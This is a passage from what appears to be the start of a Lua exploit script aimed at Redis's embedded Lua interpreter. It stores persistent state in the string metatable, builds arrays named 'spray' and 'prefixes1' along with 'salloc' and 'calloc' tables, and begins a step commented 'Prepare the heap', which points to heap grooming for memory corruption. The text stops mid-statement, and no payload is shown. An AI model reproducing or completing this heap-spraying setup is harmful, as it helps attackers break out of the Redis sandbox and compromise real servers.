local log = function(fmt, ...) redis.log(redis.LOG_NOTICE, string.format(fmt, ...)) end local log_s = function(s) redis.log(redis.LOG_NOTICE, s) end -- We'll hide values that will persist across calls in the String default metatable local GlobalState = getmetatable("") GlobalState.prefixes1 = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, } GlobalState.spray = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, } GlobalState.salloc = { 1,2,3,4,5,6, } GlobalState.calloc = { 1,2,3,4,5,6, } local coro = function() coroutine.yield() end -- Prepare the heap for i=1,#GlobalState.prefixes1 do GlobalState.prefixes1[i] = struct.pack("